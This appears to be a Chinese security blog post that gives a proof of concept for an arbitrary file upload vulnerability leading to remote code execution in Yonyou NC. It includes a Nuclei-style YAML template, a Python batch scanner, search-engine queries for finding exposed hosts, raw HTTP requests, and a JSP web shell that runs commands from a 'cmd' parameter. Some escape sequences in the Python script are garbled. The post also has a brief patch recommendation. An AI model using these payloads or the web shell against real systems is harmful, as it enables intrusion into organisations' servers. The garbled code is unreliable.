话不多说先上POC（Yam-poc由yakit或ProjectDiscovery Cloud Platform生成，Python-poc脚本由chatgpt生成，准确性请自测，如您觉得有用，请动动小手点个关注，为您每天更新最新漏洞POC）

• 「Yaml」

id: YongYou-NC-uploadControl-uploadFile-fileupload
info:
  name: 用友 NC uploadControluploadFile 文件上传致RCE
  author: xx
  severity: high
  description: 用友 NC uploadControluploadFile 文件上传致RCE
  metadata:
    fofa-query: title=="YONYOU NC"
  tags: fileupload,yonyou
variables:
  filename: '{{rand_base(6)}}'

http:
- raw:
- |
@timeout: 30s
POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Connection: close
Content-Length: 373

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="{{filename}}.jsp"
Content-Type: image/jpeg

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--
- |+
@timeout: 30s
GET /mp/uploadFileDir/{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'status_code_2 == 200'
- 'contains(body_2, "HelloWorldTest")'
condition: and

• 「Python」

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def rand_base(n):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

def check_vulnerability(url):
filename = rand_base(6)
# 第一个请求：上传恶意的JSP文件
upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile'
upload_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei',
'Connection': 'close'
}
upload_data = (
'------WebKitFormBoundarygcflwteirn'
f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"rn'
'Content-Type: image/jpegrnrn'
'<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>rn'
'------WebKitFormBoundarygcflwteirn'
'Content-Disposition: form-data; name="submit"rnrn'
'上传rn'
'------WebKitFormBoundarygcflwtei--'
).encode('utf-8')

try:
response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)
# print(f'Upload Response Status Code: {response_upload.status_code}')

# 第二个请求：访问上传的JSP文件
access_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'
access_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
}
response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)
# print(f'Access Response Status Code: {response_access.status_code}')
# print(f'Access Response Body: {response_access.text}')

if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:
print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时，可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)

if __name__ == '__main__':
main()

漏洞介绍

❝

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。其uploadControl/uploadFile接口存在任意文件上传漏洞，导致恶意攻击者可以上传恶意后门、木马等，从而获取对服务器的远程访问权限或者破坏系统，对服务器造成极大的安全隐患。

❞

资产测绘

• 「Fofa」

❝

title=="YONYOU NC"

❞

• 「Hunter」

❝

web.title=="YONYOU NC"

❞

• 「Quake」

❝

title=="YONYOU NC"

❞

漏洞复现

「1、构造数据包」

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 373
Connection: close

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--

「2、查看上传的文件」

GET /mp/uploadFileDir/rce.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

「3、还可以直接上传一个小马」

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 373
Connection: close

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--

修复方案

❝

• 官方已发布安全补丁，建议联系厂商打补丁或升级版本。
• 引入Web应用防火墙防护，配置接口拦截策略。

❞